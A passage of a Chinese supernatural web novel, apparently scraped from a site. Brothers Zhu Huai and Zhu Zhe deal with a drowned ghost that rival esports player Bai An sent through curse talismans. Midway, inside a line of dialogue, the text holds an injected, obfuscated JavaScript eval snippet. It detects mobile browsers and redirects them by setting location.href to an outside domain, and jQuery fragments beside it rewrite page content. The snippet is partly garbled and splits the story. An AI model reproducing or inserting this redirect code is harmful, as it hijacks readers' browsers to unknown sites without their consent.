夏正文看着他那张堪比猪头的脸忍不住笑出了声,即使气氛如此严肃,但他还是控制不住自己。 这时,被鬼迷了神智的邵怀萍才幽幽转醒,然而她刚刚睁开眼睛就被吓了一跳。 邵怀萍说道:“我的天哪,太可怕了,为什么庄明亮的脸肿得像猪头一样。” 她此话一出,庄明亮的眼神立即就变得极其幽怨,邵怀萍心有余悸地捂着胸口说:“你这是怎么了,哪里来的马蜂把你蛰了吗?” 庄明亮咬牙切齿地说:“够了,你不要再说了!” 刚刚还显得有一丝惊悚的气氛忽然就变得欢快起来,空气中满是夏正文的笑声。 笑完之后,邵怀萍了解了事情经过后脸色一白,她说:“我想起来了,我真不是故意的庄明亮,我刚刚好像撞鬼了。” 她想起了刚刚发生的事,脸上的表情也变得越来越后怕,邵怀萍说:“我刚刚躺在床上,看见了……看见房间里有鬼。” 夏正文的笑声停了,三个人互相对视一眼,彼此都心有余悸,只有季嫣一个人皱着眉,她仿佛是这伙人中唯一的局外人。 邵怀萍接着说:“那个女鬼趴在地上,还慢慢地爬到了我的床上,握住了我悬在床外的脚踝。” “我还以为是季嫣在跟我开玩笑,结果低下头看去,却发现是一个女鬼正趴在地上对着我笑。” “我从床上冲了下来,想告诉季嫣这件事,但无论我怎么叫她,她都没有任何反应,就好像看不见那东西似的。 接着,我看见你们打开了门,而在那个时候,我却发现房间里的女鬼消失了。 而她则忽然爬到了你们身边,慢慢地朝着庄明亮爬了过来,接着,她附身在了庄明亮的身上!” “她就那样趴在庄明亮的肩头,就像是在对他说着什么话似的,时不时还在咯咯地笑。 我被吓得手脚发抖,想要逃走,却看见庄明亮朝着我冲了过来,像是要掐死我! 我实在没有办法了,就只能拼命扇着他的脸,让他清醒过来。” “woc,邵大人,求求您不要再说了!” 庄明亮差点给她跪下来了,邵怀萍口中说的话,与现实中发生的一切截然不同。 若不是经历过刚刚发生的一切,他们或许会真的认为邵怀萍是精神出了什么问题。 邵怀萍也有些崩溃,作为当事人的她最清楚自己刚刚经历了什么。 邵怀萍接着说:“我也感觉自己像是撞邪了啊,那个女鬼刚刚就趴在你的肩头,她的头发甚至都落在了我的脸上!” “我想要让你们把她拉开,但你们就好像聋了一样,我怎么推都推不开她,不知道为什么,她却好像突然听见了什么东西一样,忽然尖叫一声消失了。” 那应该是诸淮的咒语起了作用,夏正文已经将那段音频保存了下来,恨不得将其设置为来电提示音。 庄明亮这时才后知后觉地反应过来,如果邵怀萍说的才是真的,那么刚刚那个女鬼其实一直趴在他的身上和他亲密接触? 人生中第一次与异性有如此亲密的接触,明明是应该开心的事,但庄明亮为什么却只感觉如此崩溃呢? 三个人都有些萎靡不振,夏正文深呼吸了一口气,他说:“别担心,那个女鬼不是已经消失了吗?” “你怎么知道她真的走了呢?” 邵怀萍说:“她或许还趴在你的身上,爬到你的床上,就这样盯着你看。” “我们什么都没有做,我也不认识她啊,她为什么要这么缠着我们?” 庄明亮有些崩溃了,他现在都不是很敢看自己的肩头,就怕扭过脸时,就会对上一张陌生的脸。 他们必须得想想办法,而现在三人唯一能求救的人,就只有诸柘的哥哥,至于季嫣? 在知道只有她的符咒没有任何东西后,她就已经和这件事没有关系了。 也不是大家在排挤她,只是季嫣不仅没有看见过什么女鬼,在刚刚邵怀萍说话的时候,她脸上始终是一副狐疑的表情,就仿佛几个人联合在一起骗她似的。 有一件事她确实不能否认,那便是白安并没有在她的符咒上写什么东西,这件事让她心中感到一丝隐秘的甜蜜。 她并未将这件事表现出来,而就在这个时候,夏正文却忽然直愣愣地看向某个方向,他脸上的表情忽然变得呆滞,像是看见了什么极度恐怖的东西。 邵怀萍和庄明亮都望向了他,而这个时候的庄明亮才想到一件事:夏正文身上的符咒好像没有被销毁? “有鬼啊!” 夏正文的尖叫声刚刚发出来,就被庄明亮一巴掌拍得晕头转向,房间内乱成一团,诸淮的念咒声伴随着夏正文的叫喊着同时响起,显得是那样的热闹。 在这样鸡飞狗跳的情况下,将符咒烧毁的几个人都惊魂未定地抱住了诸淮的大腿,他们已经将诸淮视为了唯一的救命稻草。 他们在群里说道:“这位大神,求求你救救我们吧!” 诸柘没有再说笑了,他脸上的表情有些紧张,也有些愤怒:“那个该死的混蛋,他到底想要做什么?” “这个白安跟你有仇吗?”诸淮说:“他为什么要针对你们?” 听到诸淮的话,诸柘叹了口气,他说:“白安所在的战队是夺冠的热门选手,他们队伍是众所皆知的万年老二,去年的全国决赛时,白安的战队和我的战队进了前三强。” 诸柘游玩的游戏是一款名为“异界游行”的热门PVP游戏,它制作极其精良,甚至有全球级别的热门赛事,每一期的奖金池高达千万。 诸柘是战队的主力,游戏玩法为争夺钥匙逃离地图。 游戏刚开始时,红蓝双方各自拥有属于自己的基地,玩家可以开拓地图,点亮其他区域的蜡烛为自己的小队获得增益Buff,被击杀的玩家可以复活,而在“钥匙”出现后,被击杀的玩家会真正淘汰。 第一个获得钥匙的队员便是战队的“执钥人”,执钥人在持有钥匙三分钟后会额外获得一次重生的机会。 白安是另外一个战队的主力,在上一次的决赛中,他所在的战队将除诸柘以外的所有人淘汰。 诸柘作为执钥人死守基地,其余的地图都被白安的战队占据,三对一的情况下,诸柘面临的是几乎必死的局面,就连解说都认为诸柘没有反抗的余地了,这是白安距离夺冠最近的一次。 但令所有人都没有想到的是,诸柘居然在自爆的情况下拉着另外一个人同归于尽,又在复活后在二打一的局面下反杀了白安。 这是足以载入史册的战斗,执钥人自爆的战术向来都有,但决赛圈的选手基本上不可能被轻易拉着陪葬。 可以说,诸柘的操作几乎是无法复刻的,这是连他自己都难以打出的对局。 所有人都在为诸柘获得冠军而欢呼,赛后的白安也送来了看似真挚的祝福,但诸柘没有想到的是,他或许并没有真的放下那一次的惨败。 但为了报复一次比赛的失败,就要这样诅咒他和他的战队吗? 诸柘无法接受这样的情况,对于白安的行为,他的心里只有憎恶和愤怒。 诸淮的任务还没有完成,所以烧掉符咒只是缓兵之计,诸淮询问殷泉:“我该怎么做才能彻底解决这件事?” “你要把那个骚扰他们的女鬼真正赶走才行。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177651|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 殷泉说:“那东西没有直接杀死目标,就证明它不是什么难解决的恶鬼,它只能通过恐吓和骚扰的方式扰乱心神,间接达成目的。 但这些东西又极其难缠,不将诅咒彻底完成,它不会甘心离开,这是它的任务。” 毕竟人家女鬼也是要业绩的,这一次出来一趟有四个任务目标,结果却一个人都没吓死,女鬼也是要面子的,它就这么空手回去,还怎么在恶鬼圈继续混下去。 诸淮:“你怎么说得好像它们在上班一样。” 殷泉说:“它应该是有自己的目的,不过……如果死了还要上班的话,听上去好像更可怕了一点。” 殷泉梳理着自己长长的触须,他说:“哎呀,其实这件事很简单,既然它要吓人,那就让它去吓自己的雇主吧,实在完不成任务的时候,也可以把发布任务的对象搞死嘛。” 诸淮:“受教了。” 殷泉抬起小脑袋骄傲地说:“没关系,我教你怎么弄,这本书你先拿去看,很简单的。” 诸淮的脑子里出现一本小书,上面写着极其晦涩的文字,只有前几页他看得懂,这要学得学到什么时候? 但要问肥蛾子该怎么办,殷泉却一摊手,它说:“我又不是契妻,我没有学习这些东西的能力,你问我,我也不知道啊。” 这还真是撒手掌柜,只管扔教材,不管学生怎么学,诸淮也没有什么办法,只能拿起本子一页页地慢慢看,但或许是他天赋异禀,他还真的勉强看懂了前几页的符文。 “找到了,就是这个方法。” 诸淮松了口气,他终于找到了怎么解除诅咒的方法。 幸好这并不是多么复杂的诅咒,只是符咒的材质特殊和引来的女鬼难缠,才将诸柘的战队闹得鸡犬不宁。 这两天诸淮刚好有空,事不宜迟,在其他三人情真意切,字字泣泪的恳求中,诸淮和其他三人约好时间来到了一处酒店会面,刚一碰上面,诸柘就被队友的样子吓了一跳。 仅仅过去一天,三个人就仿佛已经被折磨地痛不欲生一般,即使符咒都被烧毁了,女鬼已经不能再附身并间接控制他们的行为,但这不代表事情结束:虽然没有办法上身,但他们还是可以做梦啊。 所以三个人熬了一天,硬撑着没有睡觉,但可惜的是,他们不愿意睡,但女鬼却可以逼让他们睡。 所以三个人就重复着熬夜硬撑、昏厥做梦、被吓到清醒然后再次睡过去的过程。 三个人轮流做梦,女鬼并不过度偏爱某个人,雨露均沾,它没有办法入侵诸柘的梦境,但难道还拿这几个人没办法吗? 但三个人中最惨的却是庄明亮,或许是在梦中发动了求生的本能,庄明亮居然和女鬼聊起了天,他被吓得惊慌失措的第一句话却是:“这位女鬼大人,您长得可真漂亮。” 女鬼:“……”死了这么多年,这还是第一次有人说它好看。 庄明亮的嘴犹如抹了蜜一般,语无伦次地疯狂夸赞着女鬼,导致对方虽然不怎么吓他了,却还是会专盯着他一个人入梦。 庄明亮被吓得手脚发抖,但精神状态却无比清醒,在梦里也仍然继续夸赞女鬼。 他甚至跟对方聊起了天,还套出了它的名字和身份,女鬼被哄得非常开心,庄明亮说:“您大人有大量,可以放过我们吗?” 女鬼慢慢掀起满头的黑发,下方是一具浮肿的尸体,她咯咯笑起来:“不行。” 那模糊的声音嘶哑难听,庄明亮的手脚冰冷,身体一阵阵地冒汗,他听见女鬼又说:“但我可以最后一个杀你,呵呵。” 这是多么惊悚的一句话啊,庄明亮被感动地几乎落下泪来。 就在他们快要被逼疯的时候,诸淮终于来了,他打开门,就看见三个满眼血丝,面色发青的人抬起头,用一种渴望的眼神看着他。 接着,夏正文直接扑了过来,握着诸淮的手对他说: “大师,求求你救救我们!” 那悲呛的声音中充满了被折磨的绝望,诸淮不知道发生了什么,但也感受到了他们的痛苦,他说:“别担心,我有办法帮你们。” “我们该怎么做?” 另外两个人瞬间激动起来,诸淮的眼神扫过他们,接着说:“女鬼不害人就不愿意离去,我想,它现在还在纠缠你们,就是因为它没有实现自己的目的。” 他的话让几个人都有一瞬间的心凉,但诸淮又说:“所以我必须选出一个人来承受它的反噬,既然如此……那就让下咒的那个人,来体会一下你们的感受吧。” 7. 白安你出来,我知道你在家 这句话一出,整个房间似乎都被一股莫名的冷意笼罩。战队四人互相对视了一眼,都没有提出任何反对的意见。 死贫僧不死道友,更何况这件事本就是白安引起的。 别说是让女鬼反噬去纠缠白安了,要不是他们现在实在分不出精力,这几个人甚至会组团套白安麻袋。 “既然一定要有一个人受伤,那让下咒的那个人尝尝诅咒的味道才最痛快。” 庄明亮狠狠地说,他迫不及待想让白安去跟女鬼“聊聊天”了。 “没错,这是他活该!” 另外两个人也立刻表明立场,诸柘的反应不太一样,他小声说:“哥,你不会有事吧?” 诸柘很担心诸淮会不会出事,他从来不知道自己哥哥居然有这种本事,曾经熟悉的人现在忽然变得陌生起来。 他知道诸淮很大原因是为了帮他而涉险,这件事听上去简单,但稍微一思索,便可以察觉到其中的凶险。 诸淮揉了揉他的头:“不用担心你哥。” 他更担心的是狗急跳墙的女鬼会不会伤害到无辜的路人。 殷泉说:“哎呀,它倒是也想,无论是不是恶鬼,都是会控制不住自己的戾气想要对活人下手的。 但是恶鬼也不能为所欲为,鬼也是有分别的,像这样执意纠缠着他们的女鬼,就是只能对这些被诅咒者下手的恶灵,寻常人只要不直接接触到它,它也是不能影响其他人的。” 更何况,若是伤天害理的事做多了,迟早会有人来直接收了它们。 “原来是这样吗?”诸淮记下了这个知识,他要学的还有很多。 诸淮对其他几人说:“你们准备好了吗?” 不知道是不是错觉,在诸淮刚刚说完话后,房间内的光线都变得昏暗了一些,一个若有若无的黑影在光线的边缘徘徊。 除诸淮以外的人都有些瑟瑟发抖起来,他们真的被吓怕了。 连续几天被女鬼纠缠,谁能顶得住这样的热情款待? 诸淮语气平静,实际上他也是第一次做这种事,但他外貌俊美,声音清朗悦耳,就给人一种极强烈的信赖感。 所有人都不由自主地将他当做了主心骨,诸淮说:“不过,你们要做好准备,等一下无论发生什么,都不能惊慌失措,也不能离开这个房间。” 四个人都重重点了点头,诸淮让四人围成一圈,让他们手牵着手站在一起。 这倒没有什么别的作用,只是牵着手会更有安全感,如果有个人被吓得想跑,其他人也能拉住对方。 诸淮把房间的灯关上,再拉上窗帘后,室内一瞬间变得极其昏暗,诸柘握住了夏正文和庄明亮的手,他能够感受到另外二人手脚微颤,手心出汗,像是有些紧张,因为诸柘自己也是这种感觉。 诸淮取出早已准备好的符咒,他将四张符咒都贴在每个人的身上,接着低声念起了什么。 这算不算是正统的驱鬼仪式诸淮也不清楚,殷泉给他的小本子记录着极其复杂晦涩的东西。 而肥蛾子则打着包票说: “这绝对是最正统的传承,你的天赋极强,只要你学会了这些东西,像这种小鬼根本奈何不了你的。” “更何况,现在他们也找不到其他人了,要是你再不管,过两天这些人都被吓进精神病院,又或者是干脆跳了楼。” 殷泉捋着触须说:“他们现在也只能靠你了。” 这么想着,诸淮垂下眼睛,眼中划过一丝坚定。 随着他念咒的声音越来越清晰 ,在连他自己都没有注意到的情况下,他被衣物遮盖的肌肤上慢慢生长出了柳叶的纹路,宛如某种纠缠在灵魂中的契约,肆无忌惮地霸占着大片白皙的肌肤。 四人身上的黑气慢慢渗出,聚集在中间的位置,一个趴伏在地,没有双腿的女鬼出现在了他们面前。 看见这道“刻骨铭心”的身影,怕鬼的庄明亮眼睛一翻,差点就直接昏死过去。 幸亏旁边的两个人死死拉住他的手,这才让这个一米八的大汉没有当场昏厥。 女鬼缓缓抬起脸,它的目光居然有一丝茫然,像是莫名其妙被赶了出来,当它意识到发生了什么的时候,女鬼当即伸出手,朝着一旁的诸柘抓去! “住手!” 诸淮说着,将手中的符咒打向它,女鬼没有停下。 诸柘的面色惨白,当女鬼的手指触碰到他时,他几乎立即就感受到一股莫名的刺痛感与寒意升起,他的右腿被莫名的黑气包裹,像是泡在水中一般,变得浮肿、发白。 他们不知道女鬼究竟经历了什么才变成这幅样子,但这家伙身上的怨气极重。 诸柘潜意识里信任自己的哥哥,所以即使右腿在顷刻间麻痹了,他也没有任何动弹的意思。 “啊!”女鬼尖叫出声,它迅速收回了手,诸柘身上的符咒散发出明亮的光。 作为契妻,诸淮的天赋是殷泉都认为极其恐怖,闻所未闻的存在,这也导致他画出的符咒有着极强大的力量。 女鬼猝不及防之下被伤到了,而诸淮的另外一张符咒落在它的身上后,则让它的身体都发出被刺伤一般的声响。 女鬼在地上尖叫起来,诸淮示意其他人不要开口。 他说:“你和他们无冤无仇,但是你却要对我的弟弟,以及他的朋友出手,所以我要灭了你是合情合理的,对不对?” 女鬼怨恨地看向他。 “别那么看着我。” 诸淮皱起眉,女鬼有一瞬间想要对他动手,但它却隐隐感觉到了什么。 若是想要靠近诸淮,那么那牢牢霸占着对方,将诸淮视为私有物一般的存在,或许会直接让它魂飞魄散。 它迅速收起了这个想法,诸淮见它没有暴动,便接着说: “既然你不说话,那么你就是同意了我的观点,我问你答,是不是白安让你来的?” 女鬼伸出手指,它的长发生长起来,在地面上组成一个“是”字。 看见这个字,四个人的双目喷火,几乎是立刻就想要让白安付出代价。 诸淮不理解到底什么样的仇怨,亦或是什么心肠的恶人才会做出这种事,他对这个罪魁祸首没有任何好感。 女鬼也不知道白安为什么这么做,它只是过来吓人和伤人的。 “你不能伤害他们,我需要你离开这里。”诸淮接着说。 女鬼的长发顿时组成了清晰的大字:“不行!” “什么不行?这几个人你不能动,与其执着地盯着他们,不如转换一下思维,想想你的雇主。” 诸淮说:“如果不是他让你来这里,你也不会遇到这种事。” 女鬼身上散发出的黑气已经影响到其他人,诸淮暂时没有除去它的手段,他准备先将其驱逐后,再去学习除鬼的方法。 女鬼似乎在思索着什么,它骨子里的恶意让它想要杀死在场的所有人,但它无法伤害没有收到符咒的人,也无法反抗诸淮,这让它十分憋屈。 这么想着,女鬼便毫不犹豫地朝着其中一人冲了出去。 诸淮的眼中划过一抹厉色,几张符咒朝着它的方向飞出,让女鬼的发丝都被烧毁了大半,它猜得没错,这个人很危险,他打得它好疼! 女鬼最后的爆发停下,它怨恨地看了诸淮一眼,女鬼的身影消失不见,连在它身上的四根黑线“啪”地一声断开。 其余四人都感到身上一松,而女鬼身上留下的唯一一根黑线则指向了另外一个方向。 “它,它这是真的去找白安了?” 看着这一幕,惊魂未定的几个人倒在地上,互相都说不出话来。片刻后,夏正文咬牙切齿道:“他活该,女鬼就应该吓死他!让他也做做梦,最好被吓得晚上睡不着觉!” “没错。” 庄明亮激动的落下泪来,这是喜极而泣的眼泪,女鬼刚刚扑向他时,那狰狞的面孔与迎面而来的黑气,都让他余生无法忘怀。 庄明亮哭得像个一米八高,一百多斤的孩子,危机解除后,诸柘看着他们才忽然疑惑道: “你们都在这里,那季嫣呢?她人呢?” “她没有收到诅咒符咒,一个人留在基地,我不知道她去了哪里。” 犹豫了一瞬,季嫣的室友邵怀萍忽然说:“她不会去找白安了吧?” 几个人面面相觑,都不知道季嫣去了哪里。 —— 季嫣和白安坐在一起,她的手里捏着那枚空白符咒。 季嫣对白安说:“这是你做的吗?给我的队友寄诅咒符,他们都说自己见了鬼,这东西是从哪里来的?” 白安说:“这是我从一座庙里求来的平安符。” 听到季嫣的话,白安的脸色一僵,这件事若是被爆出去,那么他的名声就要完蛋了。 季嫣的表情不悦,但她还是接着说:“你没有给我写……但他们没有来得及找你的麻烦,好像是都见了鬼一样,连夜坐车去某个地方,要找人驱邪。” 白安说:“他们真的撞鬼了?” 白安的长相很符合年轻人的喜好,他的肌肤细腻,眼若桃花,哄起女生来也是一套接着一套。 季嫣有些不悦地看着他:“我没想到你居然知道会做这种事,你为什么要这么吓唬他们?” 季嫣将最近几天发生的一切都认定为白安在装神弄鬼。 “可能是因为嫉妒吧。” 白安垂下眼睛,他露出苦笑:“我在赛场上连连失利,被自己的教练责骂,我感觉我对不起那些信任我的人,或许是鬼迷心窍,在去到一个庙里拜佛的时候,我控制不住自己,写下了自己的愿望。” “但那个主持说,这也只是借运,我不知道究竟发生了什么,季嫣,对不起,我会向你的队友道歉,在这些人里,我唯一不想伤害的人只有你。” 他的声音极富感染力,让季嫣的心开始摇摆,片刻后,她说:“你得去向他们道歉,但我也会为你劝解……这两天他们的样子看上去都不是很好,好像撞鬼了一样,我也很担心他们出事。” “所以,他 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季嫣的身体一瞬间僵硬了,她对上那双有些愤怒、郁闷、透着怨恨的眼眸,就像是被某种实质性的黑气攻击了一般,大脑一片空白,在最极端最恐惧的场景出现在自己面前时,她所能给出的第一反应,就是呆滞。 “快跑!!!” 季嫣手中的符咒是空白的,她并不是目标,所以,女鬼的怒火全部都倾泻在了白安的身上,就在季嫣即将昏厥过去的时候,白安忽然爆发出了全部的力气朝门口冲了出去。 这一声尖叫让季嫣回过了神,她是在做梦吗? 她和白安慌不择路地冲了出去,然而原本熟悉的走廊却变得格外漫长,头顶的灯一盏盏地全部熄灭,他们仿佛被困在了原地,无论如何奔跑尖叫,都没有任何人注意到他们,也无法逃离这个地方。 季嫣说:“他们说的是真的?他们真的撞鬼了?白安,你到底做了什么!” 白安头也不回地说:“我不知道,我只是进那个庙里拜了拜,我什么都没有做,它不应该找上我,不应该!” 女鬼嘻嘻的笑声传来,看着他们犹如无头苍蝇一般逃窜的模样笑得很高兴,就好像终于发泄出心中的不快一般。 它打算慢慢折磨面前的两个人,不知道过了多久,季嫣和白安终于走到门前,白安毫不犹豫地拉开了门。 就在此时,女鬼却慢慢地爬了过来,它的动作看上去并不快,却趴在地上,一寸寸地朝着他们爬来,地面上满是水渍。 “白安,快啊,它快要过来了!” 季嫣不断催促道,白安抬起脸看了她一眼,这一瞬间,这曾经看似温柔的男人眼中却爆发出了一股前所未有的厉色。 季嫣的心中划过一丝不详的预感,只见到白安快速地穿过大门,还不等季嫣过来,就将大门重重地关了起来! “季嫣,等我回来,我会回来救你。”白安说着,朝着楼梯走去。 季嫣的大脑完全空白了,她根本想不到白安会这么做,再联想到自己队友所遭遇的一切,以及白安刚刚所说的话,即使身后的女鬼慢慢追了上来,她脑中的怒火,在此刻也胜过了恐惧! 这一扇在她面前重重关上的大门,几乎将她的理智一同粉碎! “白安,你给我滚出来,我知道你在后面,没想到你居然是这样的孬种!” 季嫣狠狠一拳砸在门上,愤怒让她失去理智:“别让我再见到你!要是我能出去,我就把你的头拧下来!” 女鬼已经爬到了季嫣的身后,那一根根裹挟着水汽的发丝已经缠绕在她的小腿上,或许是许久没有见过这样的戏码,它还饶有趣味地看了一会,直到,它的手握住了季嫣的脚踝。 “啊!”冰冷粘稠的触感传来,季嫣的右腿在一瞬间被寒气入体,整条腿顷刻间失去了所有行动力。 她倒在地上,只感觉自己的身体像是被冰封了一般,随着面前的女鬼一同沉入井中…… 她的小腿变得浮肿、发白,这并不是心理上的恐惧,而是真实发生的侵蚀。 而就在女鬼慢慢靠近过来,趴到季嫣身上的时候,那张空白的符咒却落到了地上,它的动作一顿,像是有些不高兴似的爬了出去,去寻找自己真正的猎物。 侥幸逃得一命的季嫣手脚发抖,最终还是昏厥了过去,门外,白安不断奔跑着,却怎么也走不出这段楼梯,他听见滴滴答答的水声传来,却看见女鬼慢慢地爬下楼梯,正朝着他逐渐靠近,而在它的手中,还捏着那张空白的符咒。 “遭了,季嫣的符咒里没有诅咒,它是来找我的!” 白安一瞬间就意识到了问题所在,同时,他的心中升起了浓浓的悔恨: “我应该把她的名字也写上去的,该死的,不是我干的,你不应该来找我啊!” 女鬼慢慢爬到白安面前,对着他嘻嘻笑着,接着,化为黑气融入了他的身体里。 白安摇摇晃晃地站起来,像失去意识一般走到楼梯前,他站在高高的楼梯上方向前走去,就那样一步塌了出去,从楼梯上直接滚了下来。 8. 柳相 白安莫名其妙地自己从楼梯上摔了下来,他的两条腿都断了。 原本他不应该摔得这么惨,但是谁也搞不懂,他为什么要在自己从楼梯上摔下去的情况下,又重新爬上去摔一遍。 监控录像内只能看见白安瘫在地上,一点点蠕动着爬上楼梯,接着自己又重新摔下去的场景。 这段视频看上去有股异样的惊悚,仿佛他正被某种力量所操控,那痛苦哭泣着的表情与他不顾一切要将自己摔残的举动形成了鲜明的对比,在如此辛苦的操作下,白安终于成功地把自己送进了ICU。 因为在他的身边没有其他人,全程只能看见他自己在爬,即使是警方过来,也只能推断是白安的精神状况出了问题……毕竟这种情况也只能这么解释了。 他不是自己出了问题,难道还是被鬼上身了,有鬼强迫他这么做吗? 作为现代人,大家要相信科学。 当得知白安遭遇的事故后,诸柘几人都感到一阵痛快。 在痛快后,他们心中生起的便是一阵后怕:要不是这一次有诸淮在,那么白安现在的下场,就是他们的下场。 所以庄明亮几人都决定死死抱住诸柘……的大腿。 毕竟他们也清楚谁跟他们关系更好,诸柘一瞬间就变成了团队里的大爷。 只不过他本来就是战队的主力,受到队友们热情的恭维时还有些不太适应,诸柘一巴掌推开面前的几个人:“都给我够了啊!” 危机解除后,几个人看上去都是一副高兴的模样,他们准备请诸淮吃一顿大餐。 只不过还是邵怀萍一直惦记着季嫣的情况,犹豫了一下后,她还是打通了室友的电话。 电话那边,季嫣呜呜的哭声却传了出来,她双目通红,像是被吓怕了,最显眼的,却是她躺在床上时露出来的那条小腿。 在她的脚踝上,正印着一个极为清晰的掌印! 这个掌印泛出肉眼可见的青黑色,细细看去,季嫣的小腿肿成一圈。 看上去不像是普通的肿胀,更像是泡在水中皮肉发白,连皮肉内都透出乌青色的模样…… 看着这一幕,邵怀萍一瞬间意识到了不对劲,庄明亮更是身体一抖,而夏正文已经缓缓拿出了早已保存好的音频,邵怀萍说:“季嫣,你这是怎么了?” “白安,是白安做的好事。” 季嫣将她遇到的事说了出来,她不哭了,眼里只有厉色:“我不会放过他的!” 白安和季嫣的关系并不是什么秘密,只不过因白安的个人原因,他并未公开和季嫣的关系。 季嫣和他交往了整整三年,这一次也终于认清了对方的真面目。 季嫣说:“我的手上有他的把柄,等着吧,我要他身败名裂。” 白安凭着自己的一张脸和电竞选手的身份骗了不少人。 邵怀萍这才知道,在白安陷入昏迷在医院抢救的时候,在剧痛和仇恨中,季嫣就已经处理好了一部分的证据,将那些事情都揭发到了网上。 距离比赛仅有一段时间,作为战队的主力,白安却闹出了这样大的事,这导致所有人都在津津乐道地吃着瓜,白安甚至没有办法及时处理任何舆论,毕竟他现在睡得太香了。 季嫣的行动力简直超出了其他人的想象,她被彻头彻尾的激怒了。 邵怀萍抹了抹额头上的汗:“恭喜你摆脱了渣男,不过你现在这个情况又该怎么办?” “抱歉,邵怀萍,我应该相信你们的。” 季嫣向他们道歉,虽然其他人不知道季嫣的心路历程,但看着她这幅样子,邵怀萍终究还是有些心软。 只是她也是刚刚死里逃生,现在季嫣的情况,或许只有一个人能解决了。 “我知道有个人,就是他救了我们,季嫣,你待会记得说话好听点,他是诸柘的哥哥,你使劲求他,看看他能不能帮你一把。” 邵怀萍说,听到这番话,季嫣眼中一亮,她的心中重新升起了对于生命的渴望。 她说:“我一定会好好求他的,你们给了他多少钱,我别的都没有,但报酬这件事上,我一定会给他一个好价格!” 她擦了两把眼泪,就在邵怀萍的推荐下,看见了一张陌生的面孔。 季嫣的家庭环境极好,她走上电竞这条路纯粹只是因为个人喜好,实际上,她的家人并不支持她,但季嫣性格倔,所以他们也拿季嫣没有什么办法。 季嫣从小见到过的帅哥美人很多,但长成诸淮这样的也是十分少见,有那么一瞬间,季嫣甚至误认为自己看见了一位明星。 那是一张太过俊美、太过帅气的面孔,双眸纯黑如墨,仿佛笼着一层月光,眼神平静明亮,神采烁耀,唇形优美漂亮,泛着一层薄色。 当那双眼睛望过来时,就好像一道光芒直直地落进了旁观者的眼中,首先是被那双眼睛的神采吸引,其次才是被那张脸所震慑。 这样的脸,这样的面容……看上去居然有一丝熟悉。 季嫣的脑中缓缓出现一个人名,她狐疑地询问道:“顾俞光……?你是顾俞光的家人吗?你长得和他好像。” “你认识顾俞光?” 诸淮的声音清冽悦耳,他说:“我叫诸淮。” “不,我只是曾经见过他一面。” 季嫣解释道,他姓诸?她敏锐地意识到这其中的差异。 诸淮脸上的表情仍然平静,完全看不出他对于这个名字的嫌恶,诸淮接着说:“你很熟悉顾家人?” 季嫣缓缓摇了摇头,她眸光微闪,对诸淮说:“我曾经见过顾俞光一面,可能我的父母曾经和他有过合作,但那是在许多年前,合作也早就中断了。 我们和顾家没有多少来往,那家人并不是什么值得继续合作的对象。” 说完这样一段话后,不知为何,季嫣感到十分紧张,她意识到诸淮一定和顾家有着某种联系。 但她不知晓其中的隐秘,在搪塞与说出真相之间,她选择说出自己知道的事。 诸淮深深地看了她一眼,他忽然笑了起来: “别那么紧张,顾家确实不是什么值得交易的对象,和他们合作迟早会被牵连。” 诸淮的话中似乎有着某种深意,诸淮看向她的小腿。 他说:“黑气入体,那个女鬼是不是想要对你出手,但她却放过了你一命。” 女鬼并不能随意对没有被诅咒的对象出手,但季嫣和白安实在太近,以至于女鬼仍然给了她一个教训,至于原因?恶鬼害人,从来不需要任何理由。 诸淮说:“它在你的腿上附着了怨念,再这样下去,你会失去这条小腿……这女鬼怎么对腿这么执着。” 诸淮意识到了不对劲,仔细想来,它好像一直在盯着其他人的腿不放,就连白安都是摔断了他的两条腿才满意地离开。 难道这就是自己失去了双腿,也要把其他人的腿也全部折断? 听到诸淮的话,季嫣被吓得身体一颤,实际上她早有预感,因为她不仅无法行走,这条腿甚至还在逐渐失去知觉。 想到这里,季嫣强迫自己冷静下来,她说:“大师,您一定有办法救我对不对?钱不是问题,我可以给你很多钱。” 诸淮并没有索要报酬的意思,他说:“不需要,只是这个过程或许会有些麻烦。” “十万。” 季嫣查看了一眼自己的零花钱,她果断地说。 “你误会了我的意思……” “十五万。” 季嫣咬了咬牙,大不了这次回去,就回家哭一哭,钱只是小事。 诸淮沉默了,他是真没想到季嫣这么直接,他怕自己再多说一句话,季嫣就敢给他开出更高的价格。 但实际上,诸淮更担心的是这笔钱需要交税吗…… 在季嫣的眼中,诸淮长相俊美,气场神秘,再加上其他队友的现状,使得季嫣将希望放在了他的身上。 毕竟,她可是清楚的知道,自己的队友们才是真的收到了那些诅咒符咒的人。 而其他人却好端端地站在那里,她则躺在了病床上。 在季嫣眼中如此神秘的大师则在思索着一件事,片刻后,诸淮说:“我同意了。” 季嫣终于松了一口气,诸淮说:“我很快就过来,你先按我说的做,在我过去的这段时间里,你不要接触任何水。” 季嫣有些紧张,她询问道:“是这样吗?那我可以喝水吗?” 诸淮:“最好不要。” 看着她这幅紧张的样子,诸淮干脆让她先什么都不碰,那女鬼是被淹死的,接触太多的水源,会加快季嫣身上的怨念入体。 重活一世,诸淮没想到自己居然会赚到这个行业的钱,真是世事难料,只不过他对此得心应手,几乎就像是极其适应一般,就仿佛……他本来就应该拥有这些能力。 但上一世的他根本就没有察觉到这些,这究竟是怎么回事? 询问过殷泉后,诸淮去采购了一些白玉,又购买了一些新的符咒。 来到季嫣所在的医院后,诸淮找到了她所在的病房,身边还跟着几条小尾巴。 其他人也不是单纯过来凑热闹的,季嫣也是战队的队友,他们也想了解季嫣现在的情况。 “你们跟着过来干什么?” 诸淮有些无奈,诸柘左右观望了一眼后对诸淮小声说:“季嫣说白安也在这里,我们想来看看他现在的状况。” 诸淮看着他这幅样子,知道他不是在关心白安,而是上赶着来给白安上坟的。 他说:“你们还是要小心点,不怕女鬼没有离开?” 诸淮转头看向季嫣,她脚踝的情况已经越发严重,腿肿得越来越厉害。 诸淮皱起眉,他取出一块细腻的白玉,这是殷泉为他挑选的。 